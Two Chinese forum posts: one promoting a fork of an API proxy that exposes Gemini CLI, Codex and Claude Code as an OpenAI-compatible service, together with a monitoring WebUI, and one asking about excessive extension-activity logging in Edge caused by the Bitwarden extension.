本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 github.com GitHub - Fwindy/CLIProxyAPI: Wrap Gemini CLI, Antigravity, ChatGPT Codex,... Wrap Gemini CLI, Antigravity, ChatGPT Codex, Claude Code as an OpenAI/Gemini/Claude/Codex compatible API service, allowing you to enjoy the free Gemini 3.1 Pro, GPT 5.5, Claude model through API github.com GitHub - Fwindy/Cli-Proxy-API-Management-Center: This is a WebUI interface based on CLI-Proxy-API,... This is a WebUI interface based on CLI-Proxy-API, designed to simplify configuration modifications and runtime status monitoring. 上面发的两个链接分别是前后端,需要搭配使用。 后端:用sqlite持久化,不再在内存中保留使用数据,并且usage api允许夹带时间范围,不用每次都请求全量使用数据。 前端:增加了一个监控中心页面,新增功能有一键导入模型价格、根据配额的截止时间往前倒推统计5h花费/周花费、增强请求事件明细等等。 增强请求事件明细: 支持自动刷新(15s/30s/1m/5m) 新增Tokens per second (TPS) 统计 新增首字延迟统计 点击每行前方的减号图标可以删除记录 新增缓存命中率统计 当请求失败时,可点击“失败”查看失败日志(实际上是该凭证的最新状态日志,非精确的请求日志)。 前后端都会自动同步上游更新,有冲突的话才会手动处理(希望少一点)。 10 个帖子 - 6 位参与者 阅读完整话题
最近使用了 Bitwarden 密码管理器 的浏览器插件 ExtensionActivityEdge 占用空间大,分析这个Sqlite3文件 写入了 三千多万条日志 问AI 说 需要加 --disable-extension-activity-logging 这个参数 启动Edge 在使用这个密码管理器的佬友们,有同样的问题吗? 1 个帖子 - 1 位参与者 阅读完整话题